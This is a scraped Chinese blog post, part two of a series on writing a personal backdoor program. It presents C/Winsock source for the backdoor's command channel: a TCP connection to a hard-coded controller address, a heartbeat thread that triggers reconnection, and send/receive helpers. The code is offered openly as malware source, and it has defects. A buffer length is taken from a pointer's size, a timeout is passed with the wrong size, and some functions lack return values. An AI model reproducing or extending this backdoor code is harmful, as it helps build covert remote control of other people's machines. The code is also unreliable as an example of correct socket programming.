zoukankan      html  css  js  c++  java
  • 个人的后门程序开发(第二部分):网络连接处理

      1 #include <winsock2.h>
      2 #include "windows.h"
      3 #pragma comment(lib, "ws2_32.lib")
      4 
      5 #define THE_PORT 6666
      6 #define THE_IP_ADDRESS "127.0.0.1"
      7 #define XIN_TIAO_PORT 6667
      8 
      9 extern HANDLE ReStartHandle;
     10 BOOL XIN_TIAO = 1;
     11 
     12 //心跳检测函数
     13 DWORD WINAPI XiaoTiaoFunc(LPVOID lpParam)
     14 {    
     15     int status = 0;
     16     WSADATA wsaData;
     17     SOCKET MyConnectSocket = 0;
     18     sockaddr_in SocketAddr = { 0 };
     19     DWORD OutTemp = 0;
     20     char nNetTimeout = 5;
     21     char RecvTemp[3] = "";
     22     WSAStartup(MAKEWORD(2, 2), &wsaData);
     23     MyConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
     24     SocketAddr.sin_family = AF_INET;
     25     SocketAddr.sin_addr.s_addr = inet_addr(THE_IP_ADDRESS);
     26     SocketAddr.sin_port = htons(XIN_TIAO_PORT);
     27     if (connect(MyConnectSocket,
     28         (SOCKADDR *)&SocketAddr,
     29         sizeof(SocketAddr)) == SOCKET_ERROR)
     30     {
     31         WSACleanup();
     32         return FALSE;
     33     }
     34 
     35     setsockopt(MyConnectSocket,
     36         SOL_SOCKET,
     37         SO_RCVTIMEO,
     38         (char *)&nNetTimeout,
     39         sizeof(int));
     40     for ( ; ; )
     41     {
     42         Sleep(10000);
     43         send(MyConnectSocket,
     44             "Hi",
     45             sizeof("Hi"),
     46             0);
     47         status=recv(MyConnectSocket,
     48             RecvTemp,
     49             3,
     50             0);
     51         if (!status)
     52         {
     53             break;
     54         }
     55         
     56     }
     57     closesocket(MyConnectSocket);
     58     SetEvent(ReStartHandle);
     59     ExitThread(0);
     60 }
     61 
     62 
     63 
     64 
     65 BOOL CreateConnect(SOCKET *MySocketAddress)
     66 {    
     67     WSADATA wsaData;
     68     SOCKET MyConnectSocket = 0;
     69     sockaddr_in SocketAddr = { 0 };
     70     DWORD OutTemp = 0;
     71     WSAStartup(MAKEWORD(2, 2), &wsaData);
     72     MyConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
     73     SocketAddr.sin_family= AF_INET;
     74     SocketAddr.sin_addr.s_addr = inet_addr(THE_IP_ADDRESS);
     75     SocketAddr.sin_port = htons(THE_PORT);
     76     if (connect(MyConnectSocket,
     77         (SOCKADDR *)&SocketAddr,
     78         sizeof(SocketAddr)) == SOCKET_ERROR)
     79     {
     80         WSACleanup();
     81         return FALSE;
     82     }
     83     //启动一个心跳检测线程
     84     if (CreateThread(
     85         NULL,
     86         0,
     87         XiaoTiaoFunc,
     88         NULL,
     89         0,
     90         &OutTemp) == false)
     91     {
     92         return FALSE;
     93     }
     94     *MySocketAddress = MyConnectSocket;
     95 
     96 }
     97 
     98 BOOL RecvData(SOCKET MySocket,PVOID IN_BUFFER,BOOL YesOrNo)
     99 {
    100     char nNetTimeout = 5;
    101     //是否阻塞
    102     if (YesOrNo)
    103     {
    104         setsockopt(MySocket,
    105         SOL_SOCKET, 
    106         SO_RCVTIMEO, 
    107         (char *)&nNetTimeout, 
    108         sizeof(int));
    109     }
    110     
    111     if (!recv(MySocket,
    112         (char *)IN_BUFFER,
    113         sizeof(IN_BUFFER),
    114         0))
    115     {
    116         return FALSE;
    117     }
    118     if (*((DWORD *)IN_BUFFER)==0)
    119     {
    120         return FALSE;
    121     }
    122     return TRUE;
    123 }
    124 
    125 BOOL SendData(SOCKET MySocket, PVOID OUT_BUFFER,DWORD Size)
    126 {
    127     int Status = 0;
    128     Status = send(MySocket,
    129         (char *)OUT_BUFFER,
    130         Size,
    131         0);
    132     if (!Status)
    133     {
    134         return FALSE;
    135     }
    136 }
  • 相关阅读:
    设计模式系列
    Python3 系列之 可变参数和关键字参数
    设计模式系列
    【HANA系列】SAP HANA ODBC error due to mismatch of version
    【FICO系列】SAP FICO FS00修改科目为未清项目管理
    【FIORI系列】SAP OpenUI5 (SAPUI5) js框架简单介绍
    【HANA系列】SAP HANA SQL获取当前日期加若干天后的日期
    【HANA系列】SAP HANA SQL获取本周的周一
    【HANA系列】SAP HANA SQL获取当前日期
    【HANA系列】SAP HANA SQL获取当前日期最后一天
  • 原文地址:https://www.cnblogs.com/Ox9A82/p/5252570.html
Copyright © 2011-2022 走看看